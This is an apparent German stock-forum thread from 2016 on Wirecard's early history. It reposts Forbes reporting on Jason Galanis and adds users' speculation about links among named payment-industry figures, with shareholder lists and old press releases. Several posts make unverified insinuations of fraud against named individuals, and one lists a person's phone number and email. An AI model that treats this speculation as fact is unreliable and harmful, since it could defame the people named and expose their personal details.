      Derek’s attorney, Janice Deaton of San Diego, says she will soon file an appeal of Derek’s conviction, citing “prosecutorial misconduct” and asking for a “huge reduction in sentence based on his actual role.” She describes Derek as a “very minimal player,” and adds, “he didn’t participate in this for any financial gain, and didn’t contribute any money.” Deaton says both of the Galanis brothers knew one of the principals of the drug ring, Dennis Alba, from prior business dealings, which is how they got caught up in the bust.

      But Deaton contends just the brothers’ name alone was enough to arouse suspicion. “Their dad is what got Derek in trouble,” she says. “There were other people more involved than Derek who got their cases dismissed. It’s the Galanis name. It’s really a shame.” Although Deaton didn’t represent Jason in the matter, she said she’s spoken with him frequently, and says she’s “impressed with him as a businessperson.”

      In an e-mail exchange, Jason Galanis acknowledges the heavy burden of his father’s name in the DEA bust. “Unfortunately, I was again maligned by indirect inferences about my relatives, which are, admittedly colorful people. One cannot choose their relatives,” he says. “This has haunted me for my entire career. My father left our family when I was 16, when he was indicted and arrested. He has been incarcerated almost my entire adult life…Since my brother’s incident, I have wanted nothing further to do with my father or his poor life choices.”

      At the same time, Galanis also contends he is only acting as an intermediary for a “handsome fee” in the iBill deal, not as a principal, on behalf of a “Dr. Molina.” Molina is apparently Luis Enrique Fernando Molina Luis Enrique Fernando Molina , a Galanis business associate and Mexican hotel developer whose family controlled Pepsi-Gemex, the largest independent Pepsi bottler outside the United States. But others familiar with the deal say Galanis is more deeply involved than he lets on.

      “My role has been a central on in making the transaction come together,” says Galanis. “It is possible that peripheral parties could form the wrong impression.”

      Galanis similarly described himself as a “part of the investment banking team” that took Robert Guccione’s Penthouse magazine public in 2002, then helped Molina in a deal in November to put another $107 million into Penthouse in a real estate/equity swap. But according to Securities and Exchange Commission filings, Galanis was identified as recently as last fall as the only person associated with Penthouse Financial, a separate company from Guccione’s teetering empire that controls Penthouse‘s racy website. Galanis now says it was more of a licensing deal, and that the contract has since been terminated.

      Galanis’ Penthouse experience provides a nice bit of synergy with iBill, perhaps, but iBill’s role in the Internet economy–at least the part where people pay for stuff–can’t be understated. The company acts as the critical aggregator and gatekeeper between thousands of websites, porn or otherwise, and the bank that ultimately processes the bulk of iBill’s credit-card transactions and doesn’t want the aggravation of dealing with all those pipsqueak businesses. The bank in this case happens to be First Financial Bank, a subsidiary of $8.5 billion (2003 sales) blue chip financial processor First Data .

      The fact that First Data would have to sign off on any deal that hands over a treasure trove of sensitive credit-card data to Galanis, or whomever he purports to represent, probably doesn’t sit well with the conservative Greenwood Village, Colo., company, which also owns Western Union, TeleCheck and now Concord EFS. First Data is already said to also be looking to exit from the porn payments business. The company has been shopping around its more than $1 billion porn and high-risk merchant portfolio, made up mostly of iBill and a handful of other big porn payment intermediaries like it. Considering the business only contributes $10 million to First Data’s $1.4 billion in profits, the risk to First Data’s hard-earned reputation seems hardly worth the hassle.

      Like intercept, First Data is also keeping quiet about the possible deal. “First Data does not selectively comment on its business plans,” said a First Data spokesperson in a statement. “It is not our practice to make public the details of our specific contractual arrangements or our business relationships with our clients.”

      But if you were clearing credit cards for the likes of hotlegsandfeet.com., enema-sex.com and my hotwife.com, you’d probably keep quiet about it too.

      (I apologize for the full quote)
      Avatar
      schrieb am 03.05.16 19:41:35
      Beitrag Nr. 93 ()
      Forbes (2000)

      9/18/2000 @ 12:00AM
      The Long Reach Of John Peter Galanis

      AS THE SUN BEATS DOWN ON THE PATIO OF THE PENINSULA HOTEL in Beverly Hills, Jason Galanis presses his ear to his cell phone again. A call from a wealthy Pakistani banker. He’s just gotten off with the son of a famous billionaire. Before that, an Oxford dean. Proof that those who dismissed him simply because his father was a crook have been wrong. He has worked hard for this moment. He has an apartment nearby in the Beverly Hills Hotel. A Rolex glints on his wrist. He hangs up the phone and confronts the worst of the rumors.

      “I’m sure people are saying my father controls everything,” says the 30-year-old. “If so, I’ve snookered a lot of people.”

      It would be quite a feat for the father, too. He’s spent most of the past 15 years in a cell behind double rows of razor wire. But depositions and interviews with Jason’s former employees suggest that Jason’s father, John Peter Galanis, who bilked investors of $400 million before he was thrown in the slammer, has had heavy if not controlling influence on Jason’s businesses. The effect has not been entirely benign: a role in the spectacular blowup of a Colorado bank and millions of losses for grain giant Cargill, whose mix-up with this father-son team has been kept quiet until recently by a gag order.

      Most troubling is Jason’s latest venture: Incubator Capital, a publicly traded Internet credit card company that he says will close the gap between the Internet haves and have-nots. It is an outfit marked by a share-price swing and self-dealing similar to that of companies dad controlled at the start of his criminal career three decades ago. Earlier this year Jason increased his holdings in Incubator by exchanging its shares for his stakes in three other businesses. The Beverly Hills-based company was trading hands at $5 a share. Within a month shares rose to $13, valuing Incubator at $250 million. The shares now fetch $2.

      It doesn’t look like any blue chip but it has some distinguished investors, including Kevin Washington, a son of railroad and mining magnate Dennis Washington. Gil F. Amelio, the former chief of Apple Computer, is set to hop on board, too.

      Jason blames Incubator’s stock drop, in part, on short-sellers in Utah. He says he’s close to completing a $10 million private placement. Then, when the stock rises again, he’ll issue more shares in a public offering.

      “This is my way of getting out of a black cloud,” he says. “I want my credit. I deserve my credit.”

      Does he talk to his father about Incubator? “I do talk to him. About business? No. He’s got his own problems.”

      Jason’s father, 56, is on work-release living in a halfway house in New York City. But for a while in the 1980s he cut quite a figure about town. Weighing nearly 400 pounds, he would order multiple entres at Lutce restaurant with his eccentric 300-pound business partner, Jay Botchman. Brilliant, blessed with a photographic memory, the father was also a quick read of character, able to charm even the most cynical of men. He doted on his four sons from his second marriage, once hiring a stonemason to build a 20-foot play castle for them. Jason got a Ferrari for his 16th birthday. The private jet and the 80-foot yacht bore the name Jader, after Jason and Derek, the two oldest.

      He lured the rich and famous into his schemes. Before he was tossed into prison for the first time, in 1973, he’d convinced the former head of the New York Stock Exchange and the past president of RCA to invest in his hedge fund. He used their money to buy shares that he was unloading in small companies he had hyped. He drove the stock of one company, Hair Extension Center, from $1 to $10, then sold out for a $750,000 profit before it crashed. He served half a year in jail, then spent the next five helping the feds finger other crooks. His life of crime, prosecutors suggested at the time, was over.

      His second feeding on the gullible, in the 1980s, created the biggest mess. He sold stakes in an Atlantic City boardwalk project that was never built. He lured Eddie Murphy, Sammy Davis Jr. and many less celebrated names into phony real estate and oil and gas tax shelters. By the time he was convicted in 1988 he had pushed four banks into bankruptcy.

      His 27-year sentence was then believed to be the longest ever for a white-collar criminal. His mansions in Greenwich, Conn. and Del Mar, Calif. were seized. But almost all of the money his victims lost was never found. There were hints at the time that some of it was squirreled away in the Netherlands Antilles (FORBES, Dec. 29, 1986).

      As for Jason, his first business was run from his freshman dorm room at the University of California at Santa Barbara. It was 1988, too long ago to remember how he stumbled on the idea, he says, but he soon found himself buying up credit card debt gone bust. His first purchase was $1.6 million of receivables for nine cents on the dollar, or $140,000. He got the money for the investment, he says, from a trust set up by his grandmother. He called the debtors and tripled his money.

      “It was a schlocky business. Six thousand collection agencies,” he says. “Extraordinary. The banks were giving away the inventory for free.”

      One deal led to another. At the end of his second semester he dropped out and moved to San Diego to run the business full time. He says he needed to support his mother. His younger brothers slept three to a room.

      “He was the father of the household, yet he never felt sorry for himself,” recalls his friend Kevin Washington, who first met him at a San Diego sushi bar about that time. “It’s been a rough road, and I’ve seen it for eight years now.”

      Jason’s business took off after he teamed up with a then-51-year-old lawyer named James Panther. Panther was no angel. One of his previous companies had been barred from doing business with Freddie Mac after having sold it bad loans. But he and Jason had a good idea: Why not offer a Visa card to customers to entice them to pay off their debt? Most had long been blackballed by traditional banks and didn’t have any plastic. Credit card giant Providian Financial is now pumping millions into a similar business. The Credit Store, as Panther and the young Galanis called their Oceanside, Calif. company, was a pioneer.

      The new company faced big hurdles. It had to find a bank willing to issue cards to such high-risk borrowers. After one pulled out, and another went bankrupt, the two partners fell into the arms of T. Alan Boyd, the head of Colorado’s BestBank. He was known to be willing to take a flier on virtually any credit card debt. Jason and Panther would pay a fee for each card issued, or, if they sold the receivables to the bank, take a cut of the profits for collecting from the debtors. BestBank, too, went under, but not for another two years.

      So BestBank would dangle a new card soon after Credit Store bought an applicant’s bad debt run-up on a previous card. But Credit Store didn’t have the capital to buy a lot of card receivables for cash. So Jason partnered with others. For example, he found two Vancouver partnerships (owned by 1,400 individuals) that had bought $10 million (face amount) of receivables for one cent on the dollar. He got them to hand over part ownership of the debt in exchange for collecting on it. But mostly it was a struggle. The fact that his father was in prison didn’t help. Jason says Sun America, for example, nixed an investment after two months and 15 meetings when it found out about John Peter Galanis.

      “I’ll always have that specter out there,” says the younger Galanis. “It’s not very fair. But fair doesn’t count.”

      “It’s a source of major frustration,” says Milton Datsopoulos, a director of Dennis Washington’s rail company who invested $100,000 in Incubator last year. “He’s trying to build respect.”

      In 1994 Jason and Panther had a turn of luck. The investment arm of Cargill agreed to lend up to $200 million. Over the next year the two partners borrowed $18 million and were asking for more. Then an anonymous letter reached the hands of top executives at the unit’s headquarters in Minnetonka, Minn. with a startling accusation: Jason’s dad was running the company from prison. Cargill sent down a team of investigators.

      “They taped up all the filing cabinets, like the Gestapo,” says Jason. “They found nothing.”

      Well, not quite nothing. They discovered a box of phone records that showed the father making as many as 30 collect calls a day from prison, staying on the line for as long as seven hours, according to sources close to the investigation. They also found expense reports for trips to Terminal Island in nearby Long Beach, where the father was imprisoned.

      Credit Store employees signed affidavits stating that Jason’s father played no role in the company. But now some employees, speaking on condition of anonymity, tell a different story. One says the father wrote the company’s promotional brochures and direct-mail letters, then had the first print versions brought to him for final editing. “He was the brains behind the marketing,” says this employee. Another recalls that trade magazines were sent regularly to dad. Volumes on offshore treaties were sent into the prison, says a third, so the father could set up partnerships overseas, which he named Eikos, Thesseus and Ionian. “The father controlled everything.”

      Federal rules prohibit prisoners from doing business from their cells.

      So what does the father say about the calls? “I was encouraging my son in business. I was not a consultant to the company.” He says he was limited to four calls a day for 15 minutes each, closely monitored by the prison, for most of his time in jail. “I was questioned but never reprimanded.”

      What about those affidavits? Depositions taken later for various lawsuits involving the Vancouver partners cast doubt on them. “Everyone had to do it,” said one former employee. “You had to sign it at the threat of losing your job.” Another stated that the father spoke to him from prison and told of trips there by Ted L. Sanborn, an especially loyal Credit Store employee. In one lawsuit the Vancouver partners alleged misappropriation of funds.

      For Cargill it was a potted plant that proved the last straw. “Hey, this thing is plugged in,” one investigator exclaimed in a Credit Store room where the team had sequestered themselves to pore over seized records. He traced the cord. A tape recorder was at the end of the line.

      By the fall of 1995 Cargill had reached a settlement, limiting its losses to $7 million. The grain giant agreed not to publicize the settlement.

      In the months that followed a half-dozen potential investors visited the Credit Store, now in serious trouble. In the spring of 1996 a savior appeared: Jay Botchman, dad’s ponytailed epicurean buddy. Botchman wasn’t just a family friend; he was the father’s chief link to banks that financed the tax shelter venture.

      Instead of lending money to Credit Store, Botchman decided to buy it. He paid $1 million each to Panther and Jason. He also agreed to give each of them options to buy, at a price of $500,000, shares now equal to 10% of the company. A 10% stake is worth $15 million today. He also agreed to make, to each of them, performance-based payments over the following five years worth as much as $25 million. Botchman has since pumped $50 million into the business not including the payouts to the former owners.

      It was a generous buyout for a business that was losing money. Might Botchman have been motivated by loyalty to Jason’s father? After all, John Peter Galanis had taken the fall in their tax-shelter venture, never implicating his partner. The government never laid a glove on Botchman.

      Jason dismisses the possibility. He says hooking up with Botchman was a coincidence. Their common past, he says, actually worked against him. Botchman was angry that the father had tarnished his name. Botchman concurs: “I wouldn’t give John Galanis 8 cents.”

      Less than two years after the Botchman deal, Credit Store card-issuer BestBank failed with $285 million of receivables, much of it in default. The bad debt came mostly from another card outfit, but Jason’s businesses were the second-biggest suppliers, providing $20 million. The FDIC has had to pump $100 million into the bank. Regulators are looking into two other banks that did business with Jason–Founders Trust National and First National Bank of Brookings, both in South Dakota. Both banks say that their finances are sound.

      Is Incubator a fresh start for Jason? Maybe its stock woes are simply due to the bursting of the Internet bubble. Jason’s father insists he has had no influence on the new business. But a 10-K filed earlier this year shows deep ties to Jason’s old one. InfoBase, one of the companies that Incubator bought for stock this year, was recently owned by a man named Dennis Alba, according to a Dun & Bradstreet file. Jason says the file is wrong, that Infobase was owned by Ted L. Sanborn and a partner. Remember Sanborn, the Credit Store employee who made frequent prison visits? Alba, who also worked for the Credit Store, was in prison with the father, put away for drug dealing, say Bureau of Prison records.

      Then there is a worrisome web of overseas companies in Incubator’s public filings. Their names have a familiar ring: Eikos, Thesseus, Ionian. Jason says these were set up mostly for tax reasons and that his father had nothing to do with them. Public records reveal a tangled history: a Panamanian outfit linked to a Netherlands Antilles company through their ties to an Isle of Man company which was apparently first set up in Sark, a Channel Islands pile of rocks reached by a four-hour ferry.

      There’s another connection between Jason’s old businesses and Incubator. Jason Galanis settled his dispute with the Vancouver investors by eventually giving them 1 million Incubator shares at a time when the shares were worth $10 apiece. He can afford that; he has options on 2 million Incubator shares, most of them with an exercise price of 4 cents.

      Kevin Washington, an Incubator executive vice president and director, professes optimism. He’s nearly finished helping Jason raise the $10 million from rich friends, and then there’s that deal with Gil Amelio. Earlier this year the former Apple chief agreed to sell a company in which he’s invested–Themeware–for $135 million in Incubator shares.

      The rumors about a connection between John Peter Galanis and his son’s affairs are just “speed bumps” in the road, says Washington. “This business is going to override everything.”
      Avatar
      schrieb am 05.05.16 00:01:08
      Beitrag Nr. 94 ()
      von Hammel-Bonten kam so spät zur Wirecard, der hat vielleicht tatsächlich keine Ahnung von Robert lee Keen, Eurodebit, Thomaschowski, Gath oder Xlook. Vielleicht hat der nicht einmal mehr die Zeit in Grasbrunn erlebt, als die Wirecard "Zufallsnachbar" der Questnet war.
      Questnet, Cremer & dieser Jockey-Pimpf, wie hieß er gleich? Stephan Ohneck, genau (Q1 Düsseldorf), Uno Gomes (Smiling Flyer mit Dialerbetrüger MSP)
      (--> enterpayment --> Kalder --> Zatarra!)

      Apropos Düsseldorf: Alexander Herbst und Düsseldorf ist auch noch eine Geschichte, die ich mir genauer anschauen sollte.

      Aber erst zu Cremer, Questnet, codermatrix, Antigua...
      Armin Sanders, Digital Simplex, und war da nicht auch noch der Freiherr von G involviert? Jedenfalls auch so ein Münchner Studentenverbindungsanwalt, irgendwo beim Schwabinger Krankenhaus.

      Dazu die Pulheim-Panama-Connection um Medianet und Tarnfirmen in Panama, CZ und Ungarn. Ab und an tauchte mal ein name in US-Gerichtsdokumenten auf, mehr ist denen nie passiert:
      https://www.justice.gov/usao-nj/pr/owner-telecommunications-…
      Owner Of Telecommunications Companies Admits Role In International Phone Hacking Conspiracy


      Dann haben wir doch bald die ganze Szene zusammen, irgendwie. Ah ja, Coskun Tuna, der Expolizist bei der Infogenie - was macht der eigentlich heute? Berliner Liebe, Münchner Liebe, Mitfahrzentrale, da hab ich den dann aus den Augen verloren. Ah, Venture Capital. Company Seeding Alliance GmbH. Na, eigentlich klar.

      Kontakt:
      Coskun Tuna
      InfoGenie Europe AG
      An den Treptowers 1
      D-123434 Berlin
      Phone: 030 - 726102-204 ctuna@infogenie.com



      Und im Zuge der Säuberungsaktionen des Wirecard-Anwalts aus der Röhrbornkanzlei hieß es damals, dass es das, was ich hier gleich zeigen werde, nie gab. Nämlich eine Crosskirk-Unterseite für Infogenie.
      Wirecard agierte damals ggü. Kritik im Internet genauso wie ggü. Kritik an Zatarra heute.

      Hier zB


      Das mit dem Programmierer Armin Sanders und dem Casino wäre heute spannend für mich, aber der Beleg landete im Reißwolf.

      Stephan Ohneck wiederum beklatscht die Hochzeit seiner Schwester mit Cobra-11-Erdogan Atalay. Kam bei der Gumball 3000 mal grinsend in Tirana an, während ein anderes mal englische Fahrer ausgeflogen wurden, nachdem sie einen dummen Kroaten oder Serben totgefahren hatten, der dem Spaß moralisch degenerierter Millionäre im Wege stand
      https://goo.gl/eRyLxT.
      2003 tauchte sein Name nicht in den Unterschichts-Neidreportagen zu Millionären auf Malle auf oder auf den Hochglanzfotos, sondern in Foren zum Thema Abzocke.
      Avatar
      schrieb am 05.05.16 20:40:15
      Beitrag Nr. 95 ()
      Antwort auf Beitrag Nr.: 52.317.673 von jigajig am 30.04.16 21:36:37
      Zitat von jigajig:
      Zitat von einfrankfurter: irgendwann kommt die mitteilung, geplante übernahme von wirecard durch.........hat stattgefunden.

      (Rückblick über diesen Thread hier)

      02.07.2008 - Wirecard-Chef Markus Braun hat am Mittwoch 50.000 Papiere des eigenen Unternehmens über die ihm zuzurechnende MB Beteiligungs GmbH erworben. Der Kauf erfolgte zum Kurs von 7,64 Euro, sodass der Kauf rund 0,38 Millionen Euro schwer ist. Braun war bereits zuvor mit 7,36 Prozent an Wirecard beteiligt. Der Kauf fällt mitten in die Schwächeperiode der Aktie, die aufgrund von Gerüchten ausgelöst wurde. Wirecard hat diese scharf dementiert und macht Shortseller für den Kursverfall und das Streuen der Gerüchte verantwortlich (wir berichteten).( mic )Quelle: 4 Investors
      bleibt natürlich die frage, warum sie zu kursen um 4 nicht weiter dazu gekauft haben....

      Fidelity Management & Research Company, Boston, Massachusetts, USA, hat uns gem. § 21 Abs. 1 WpHG mitgeteilt, dass ihr Stimmrechtsanteil an der Wirecard AG, Grasbrunn bei München, Deutschland, am 18. Juli 2008 die Schwelle von 5 % unterschritten hat und zu diesem Tag 4,14 % (3.369.100 Stimmrechte) beträgt. Diese 4,14 % (3.369.100 Stimmrechte) sind ihr nach § 22 Abs. 1 Satz 1 Nr. 6 WpHG zuzurechnen.

      FMR LLC, Boston, Massachusetts, USA, hat uns gem. § 21 Abs. 1 WpHG mitgeteilt, dass ihr Stimmrechtsanteil an der Wirecard AG, Grasbrunn bei München, Deutschland, am 18. Juli 2008 die Schwelle von 5 % unterschritten hat und zu diesem Tag 4,14 % (3.369.100 Stimmrechte) beträgt. Diese 4,14 % (3.369.100 Stimmrechte) sind ihr nach § 22 Abs. 1 Satz 1 Nr. 6 in Verbindung mit § 22 Abs. 1 Satz 2 WpHG zuzurechnen.

      Fidelity

      ...
      (!)

      Bezeichnung des Finanzinstruments: Aktie ISIN/WKN des Finanzinstruments: DE0007472060 Geschäftsart: Kauf Datum: 23.07.2008 Kurs/Preis: 11,00 Währung: EUR Stückzahl: 150000 Gesamtvolumen: 1650000 Ort: Xetra
      Zu veröffentlichende Erläuterung:
      Übernahme aufgrund einer unverbindlichen Absprache aus Juni 2008
      Avatar
      schrieb am 05.05.16 21:59:47
      Beitrag Nr. 96 ()
      @Boris menzel

      Firmenprofil

      Die Menzel Vermögensverwaltungs AG, Alter Wall 34-36, 20457 Hamburg wurde am 03. Juni 1996 gegründet und ist beim Amtsgericht Hamburg unter HRB 68656 eingetragen.

      Die Menzel VV AG ist ein bei der Bundesanstalt für Finanzdienstleistungsaufsicht registriertes Finanzdienstleistungsinstitut, das die Finanzportfolioverwaltung und die Anlage- und Abschlussvermittlung betreibt.

      Unter Finanzportfolioverwaltung versteht man die bankunabhängige und individuelle Beratung und Verwaltung von Kundendepots in Geschäften mit Finanzinstrumenten. Im Bereich der Vermögensverwaltung werden mit den Kunden jeweils individuelle Anlageziele und -strategien definiert und umgesetzt. Hierbei arbeitet die Menzel VV AG seit Jahren erfolgreich mit verschiedenen Hamburger Banken zusammen. Dadurch kann der Kunde nach seiner Präferenz wählen, bei welcher Bank sein Vermögensverwaltungskonto unterhalten wird. Zum Kreis der Kooperationsbanken zählen unter anderem die Berenberg Bank, die Commerzbank AG, die BHF Bank AG sowie die Otto M. Schröder Bank AG. Im Rahmen der Anlage- und Abschlussvermittlung werden Beteiligungen an Aktiengesellschaften auch an Personen vermittelt, die noch keinen Vermögensverwaltungsvertrag mit der Menzel VV AG abgeschlossen haben.

      Über das anfänglich ausschließlich betriebene Geschäft der Finanzportfolioverwaltung hinaus hat sich seit einigen Jahren ein neues, sehr wichtiges Standbein herausgebildet. Aufgrund der umfassenden Kapitalmarktkenntnisse gewinnt die Menzel VV AG in stark zunehmendem Maße Beratungsmandate von Kapitalgesellschaften bei anstehenden Kapitalmaßnahmen, bei vorbörslichen Private Placements sowie auch beim Handel mit größeren Aktienpaketen. In dieses Tätigkeitsfeld gehört auch die intensive Suche nach Beteiligungsmöglichkeiten für Risikokapital sowie die Beratung junger, vielversprechender Unternehmen bei der Vorbereitung auf und der Durchführung von Kapitalmaßnahmen.

      Die Vorstände Bernd Menzel und Reinhold Lüdemann waren vor ihrem Eintritt in die Menzel VV AG jeweils langjährig als Vermögensberater/Vermögensverwalter in verantwortlicher Funktion bei namhaften Hamburger Banken tätig und sind mit allen Bereichen der Vermögensberatung/Vermögensverwaltung vertraut. Kontinuierliche Weiterbildung sichert die Beibehaltung eines konstant hohen Leistungsniveaus.

      Highlights:

      · -beim Bundesaufsichtsamt registriertes Finanzdienstleistungsinstitut

      · -bankenunabhängige individuelle Vermögensverwaltung

      · -Vermögensverwalter mit langjähriger Privatbankerfahrung

      · -Wahlmöglichkeit unter renommierten Hamburger Depotbanken (z. B. Berenberg, BHF Bank AG etc.)

      · -Beratung von Unternehmen bei Kapitalmaßnahmen

      · -erfolgreiche Unterstützung von Sanierungsmaßnahmen (z. B. New-York Hamburger AG)

      · -Vermittlung von Aktienpaketen sowie Risikokapital (z. B. ebs Electronic Billing Systems AG)

      · -Planung und Durchführung von Private Placements (z. B. Pütz Security AG)

      Quelle
      Webseite
      jigajig/OW(HH)
      Avatar
      schrieb am 07.05.16 03:32:13
      Beitrag Nr. 97 ()
      ZHAPA HOLDINGS

      Master Client IMF Network N/A N/A
      Director Ian Taylor 15 Jan 2007 N/A
      Shareholder Zhapa Holdings Inc. 15 Jan 2007 N/A
      Shareholder Rajesh Patel 15 Jan 2007 N/A
      Shareholder Haralambos Arvanitakis 15 Jan 2007 N/A
      Shareholder Interweb S.A. 15 Jan 2007 N/A
      Shareholder Egan Engel 15 Jan 2007 N/A
      Shareholder Stephen Sebag 15 Jan 2007 N/A
      Shareholder Goulissa Baazov 15 Jan 2007 N/A
      Shareholder Valentina Tarantchenko 15 Jan 2007 N/A
      Shareholder Michael Zhang Peng 15 Jan 2007 N/A
      Shareholder Greenwood Consulting Ltd. 15 Jan 2007 N/A
      Shareholder Joe Lecasha 15 Jan 2007 N/A
      Shareholder Robert Akopian 15 Jan 2007 N/A
      Shareholder Kilworthy Limited 15 Jan 2007 N/A
      Shareholder White Tiger Investments PTE Ltd 28 Nov 2008 N/A
      Shareholder Elke Hansch 28 Nov 2008 N/A
      Shareholder Lilli Hansch 28 Nov 2008 N/A
      Shareholder Eurasia Total Return Fund Pte.Ltd 28 Nov 2008 N/A
      Shareholder ZHANG PENG 28 Nov 2008 N/A
      Shareholder Mahmoud Araji 28 Nov 2008 N/A
      Shareholder Isam Mansour 28 Nov 2008 N/A
      Shareholder Nizar Sabra 28 Nov 2008 N/A
      Shareholder Zohrak Ter Hovhannisyan 28 Nov 2008 N/A
      Shareholder Eyre Creek Limited 15 Dec 2009 N/A
      Listed Addresses Address
      Avatar
      schrieb am 07.05.16 22:31:06
      Beitrag Nr. 98 ()
      epgbill.com


      contact: fa@epgbill.com
      www.qxpay.com- credit card and ach processing
      ? Beziehung (Quelle: crutop)(hunter77)

      media in GFY
      Well... EPG was behind a lot of the companies doing fucked up shit.. that a name that is still listed as a contact on that companies website.. here: http://www.europaymentgroup.com/contact/form/EN

      That gentleman is German.. the time frame seems about right.. But thats just an assumption that they may have been partners.. Some other people have told me that EPGbill and Dee were seriously in bed together..
      Avatar
      schrieb am 10.05.16 13:16:36
      Beitrag Nr. 99 ()
      Compus (Quelle: http://geld1.lycos.de/finance/de/meinungen/diskussion/thread…
      =
      http://www.ariva.de/forum/Wire-Card-AG-Wer-zuerst-kommt-2224…
      =
      http://www.wallstreet-online.de/diskussion/500-beitraege/986…

      Hallo Liebe Boardgemeinde !

      Ich möchte Euch heute ein Unternehmen vorstellen, dass von der Öffentlichkeit weitestgehend unbemerkt an die Börse (Prime Standard) gegangen ist.

      Durch ein Reverse IPO wurde das Unternehmen Wire Card (www.wirecard.de) in die bereits börsennotierte Infogenie AG integriert. Dadurch entstand ein völlig neues Unternehmen, das NICHTS mehr mit der eigentlichen Infogenie zu tun hat.

      Z. Zt. Wird Wire Card überhaupt nicht beachtet, die Tagesumsätze zeigen deutlich auf, dass die Story die hinter der Wire Card AG steckt der Öffentlichkeit in keinsterweise bekannt ist.

      Aus meiner Sicht jedoch sehe ich langfristig erhebliches Kurspotential.

      Zum besseren Verständnis füge ich diesem Thread ein paar bestehende Artikel bei, die ich nach eingehender Recherche im Internet gefunden haben.

      So kann sich jeder sein eigenes Bild über das „NEUE“ Unternehmen Wire Card ein Bild machen.

      Erstmal die aktuellen Zahlen des 01. Quartals 2005:

      Wire Card AG mit hohem Wachstum im 1. Quartal 2005

      31.05.2005 (11:13)

      Berlin/München, 31. Mai 2005. Die Wire Card AG (News/Board/Kurs/Chart) hat im ersten Quartal 2005 erneut hohe Zuwachsraten bei ihren Ertrags- und Ergebniszahlen erzielt.

      Der Umsatz des börsennotierten Software-Unternehmens im Marktsegment elektronischer Zahlungslösungen stieg gegenüber dem Vorjahresquartal von 7,8 Mio. Euro auf 10,1 Mio. Euro. Das EBIT verdoppelte sich im Vergleich zum Vorjahresquartal auf gut 1 Mio. Euro (alle Angaben auf Basis der bereinigten Proforma-Zahlen des neuen Wire Card Konzerns).

      Dr. Markus Braun, Vorstand der Wire Card AG: „Die Kernkompetenzen der Wire Card AG sind sämtliche Dienstleistungen für das Outsourcing elektronischer Zahlungsabwicklungen. Über 2.000 international tätige Unternehmen nutzen die international einsetzbaren Zahlungslösungen zur Abrechnung. Ein besonderes Leistungsmerkmal ist die simultane Bonitätsprüfung des Endkunden vor der Auftragsannahme.“

      Die Aktien der Wire Card AG (ISIN DE0007472060) sind im Prime Standard notiert und im CDax enthalten. Das eingetragene Grundkapital beträgt rund 55,4 Mio. Euro per 31. Mai 2005. Mehrheitseigner der Wire Card AG ist mit 87,2 Prozent die ebs Holding, 12,8 Prozent befinden sich zur Zeit im Streubesitz. Die Wire Card AG beabsichtigt, im Abhängigkeit vom Börsenumfeld, den Streubesitz in diesem Jahr auf mindestens 25 Prozent zu erhöhen.

      Details zu den veröffentlichten Zahlen und der Proforma-Darstellung können ab sofort dem Quartalsbericht I, 2005 entnommen werden.


      Jetzt die aktuellste Pressenews:

      01.06.2005 19:24
      Wire Card Finanzplattform mit neuem Travel/Airline Modul / Führender europäischer Anbieter von Zahlungssystemen integriert 2e Systems-Buchungsmaschine
      Berlin/ Grasbrunn b. München (ots) - Die im Prime Standard der
      deutschen Börse notierte Wire Card (Nachrichten) (ISIN DE0007472060), einer der
      führenden europäischen Anbieter von Zahlungssystemen,
      Risikomanagement- und Kommunikationsdienstleistungen und der
      Touristik-Softwareanbieter 2e Systems GmbH mit Sitz in Kelsterbach,
      bestätigen ihre erfolgreiche Kooperation. Mit der reibungslosen
      Integration der Wire Card Zahlungs- und Risikomanagement-Plattform in
      die 2e-Buchungsmaschine entsprechen beide Lösungsanbieter dem
      Bedürfnis von Reiseunternehmen, Buchungen über das Internet
      problemlos und sicher abwickeln zu können.

      Einer der gemeinsam betreuten Kunden ist beispielsweise die dba,
      Deutschlands zweitgrößte innerdeutsche Liniengesellschaft, die im
      Februar 2005 als Testsieger im Airline-Vergleich der Stiftung
      Warentest hervorging.

      2e Systems realisierte Anfang des Jahres die komplett neue
      Buchungsanwendung für dba. Wire Card hingegen ist bereits seit August
      2003 erfahrener Technologie- und Service-Dienstleister für dba im
      Bereich der Online Zahlungsabwicklung bzw. Risikomanagement von
      Flugtickets.

      Phil Douglas von 2e Systems: " Wir freuen über die Zusammenarbeit
      mit Wire Card. Trotz erheblichem Zeitdruck hat alles reibungslos
      funktioniert. Ein Maximum an Flexibilität war für die Durchführung
      erforderlich - das haben wir gemeinsam professionell bewältigt."

      dba-Geschäftsführer Peter Wojahn äußerte sich ebenfalls sehr
      zufrieden: " Buchungssoftware und Zahlungsabwicklung sind wichtige
      Geschäftsprozesse, die reibungslos und zuverlässig funktionieren
      müssen, um unseren wirtschaftlichen Erfolg zu sichern. Wir sind mit
      der kompetenten, schnellen Projektrealisierung und der Zusammenarbeit
      unserer beiden Lösungspartner Wire Card und 2e hochzufrieden" .

      Neben weiteren branchenspezifischen Lösungen, unterstützt Wire
      Card auch die Airline- und Tourismus Branche, um Zahlungen von
      Endkunden oder die Provisionsausschüttung an Reisebüros oder
      Agenturen über eine zentrale Plattform zu steuern. Wirksame
      Risikomanagement-Mechanismen minimieren Zahlungsausfälle. Die Wire
      Card Plattform ist neben 2e Systems bereits in viele
      Buchungsmaschinen standardmäßig integriert, z.B. in die Systeme von
      der Dialog-Computer-Software GmbH/ Caesar oder der Inovasoft AG/
      Dynares.


      Originaltext: Wire Card AG
      Digitale Pressemappe: http://presseportal.de/story.htx?firmaid=15202
      Pressemappe via RSS : feed://presseportal.de/rss/pm_15202.rss2
      ISIN: DE0007472060

      Pressekontakt:

      Wire Card AG
      An den Treptowers 1
      12435 Berlin

      Iris Stöckl
      Tel.: +49 89 4424 2034
      Fax: +49 89 4424 2100
      E-Mail: iris.stoeckl@wirecard.com
      www.wirecard.de

      Die ersten zaghaften Empfehlungen:

      Von Thomas Bergmann

      Nachdem der IPO-Markt in Deutschland immer noch brach liegt, versuchen manche Gesellschaften über ein Hintertürchen auf das Börsenparkett zu gelangen. Die Rede ist von einem so genannten " Reverse IPO" , bei dem ein Unternehmen in eine bereits börsennotierte Gesellschaft eingebracht wird. Neben der Tatsache, dass auf diesem Weg erheblich Kosten und Zeit gespart werden, lassen sich meist auch ein höherer Unternehmenswert erzielen als bei einem " klassischen" Börsengang. Bei den ehemaligen Neuer-Markt-Werten Tepla (Fusion mit PVA Vakuum-Anlagenbau zu PVA Tepla im Oktober 2002) und Asclepion Meditec (Verschmelzung mit Carl Zeiss Ophtalmic Systems zu Carl Zeiss Meditec im Juli 2002) hat diese Methode funktioniert. Jetzt sollen Infogenie Europe und Catoossee der Türöffner.

      Umfirmierung in Wire Card AG

